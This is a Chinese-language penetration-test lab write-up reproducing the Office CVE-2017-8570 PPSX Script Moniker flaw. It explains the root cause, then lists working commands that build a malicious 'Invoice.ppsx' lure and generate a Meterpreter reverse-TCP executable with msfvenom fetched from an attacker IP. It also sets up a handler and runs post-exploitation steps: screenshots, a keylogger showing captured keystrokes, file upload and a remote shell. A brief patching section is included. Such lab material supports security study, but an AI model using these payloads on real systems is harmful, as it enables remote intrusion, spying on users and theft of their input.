引言
课题背景
Office作为当前市场占有率最高的办公软件,却常常被爆高危漏洞,其中编号为CVE-2017-8570的远程代码执行漏洞危害尤其之大。CVE-2017-8570是一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本。
CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL Moniker相关classid的拦截,目前野外暂未发现攻击样本。
本课题的研究方法
① 理解“PPSX Script Moniker”漏洞——文件格式层面
② 了解漏洞成因
③ 学习解析Moniker字符串的知识
④ 学习Freemarker模板
⑤ 在Ubuntu系统环境下进行复现
⑥ 使用BurpSuite、Cknife工具对靶场进行渗透复现
漏洞测试影响软件
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
漏洞测试环境
受害者(靶机)
操作系统: windows 7 sp1 x86
Office版本Office
专业增强版
2016
ip 192.168.89.129
攻击者
操作系统Kali Linux
ip192.168.89.134
相关知识和工具简介
“PPSX Script Moniker”漏洞——文件格式层面
① rId1”是一个被我们的” 魔术字符串”定义的OLE对象
② “rId1”被定义为一个“link”对象并且与尝试去执行OLE“Verb”动作的动画特性相关联
③ 解析Moniker字符串
“MkParseDisplayName()”被调用以将“魔术字符串”转换成一个Moniker对象
object
0:000> r ……
ole32!MkParseDisplayName:
772ece79 8bff mov edi,edi
0:000> du poi(esp+4*2)
0030ccc4 “script:http://server/test.sct”
事实上,在这里,第一个“:”之前的字符串是重要的
这个过程有效小复杂,更多细节请阅读:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx
④ 什么是“script”Moniker
CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC
Ø 这是给Windows脚本组件所用的moniker
Ø 如果你意识到了“脚本/小脚本”, “无需文件”的恶意代码..(@subtree & 其他人的工作)
⑤ 激活Moniker
Ø 然而,初始化“script” moniker事实上并不会让你“运行”内部的脚本
Ø 你仍然需要去“绑定”(“激活”)这个对象
一个简单的实验可以证明该点
Ø 用“script:http://server/test.sct”作为参数调用MkParseDisplayName()并不会让你的代码得到执行(只有scrobj.dll这个moniker dll会被加载)
Ø 但是在初始化对象时调用BindToObject()会给你带来一切
Ø 这样一个“verb”动作执行尝试通过PowerPoint放映的“动画”特性去激活相关联的对象
Ø IMoniker::BindToObject()被调用
Ø 不像“RTF URL Moniker”漏洞,被利用的进程起始于OLE API OleCreateLink(),而不是OleRun()
⑥ 对根本原因的总结
Ø 这个漏洞是由于monikers可以通过一个PowerPoint放映文件来初始化和激活这一事实
Ø 关键点在这里,在PowerPoint的动画特性中尝试去执行“verb”动作时激活了对象,这最终调用了moniker上的“BindToObject()”
Ø Windows 脚本组件(“script” Moniker)被设计用来发现和运行脚本
Ø 无需来自另外OLE对象的帮助
环境设计
Office 2016增强版
考虑到现在大多数设备使用Office 2016版本,并且未打补丁,选用此版本更具代表性。
攻击机Kali Linux
集成众多渗透软件,便于使用
渗透流程复现与EXP分析
使用nmap确定渗透对象
nmap -sP 192.168.89.0/24
使用nmap尝试远程识别靶机操作系统
nmap -O 192.168.89.129
生成恶意 PPSX 文件
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc
生成恶意的exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe
生成监听模式,监听来自 ppsx 执行反弹 shell:(这里会自动启动 80 端口)
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe
生成msf的监听
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"
将生成的恶意 Invoice.ppsx 文件复制到目标靶机 win7 系统,然后执行:
即可在msf反弹metertprter的shell出来:
漏洞修复
- 不要打开任何来源不明的 Office ppt 文档
2.及时更新并安装微软 2017 年 7 月发布的最新补丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs
后续渗透
截图
meterpreter > screenshot
Screenshot saved to: /root/ccoDxgvg.jpeg
键盘记录
meterpreter > keyscan_start # 开启键盘记录
Starting the keystroke sniffer...
meterpreter > keyscan_dump #查看键盘记录内容
Dumping captured keystrokes...
**
-[ C:\soft\SogouExplorer\SogouExplorer.exe
-[ @ 2017年8月13日 4:07:31 UTC
**
<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>
meterpreter > keyscan_stop #关闭键盘记录
上传文件
meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop
shell
meterpreter > shell
shell
顾名思义就是shell
了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。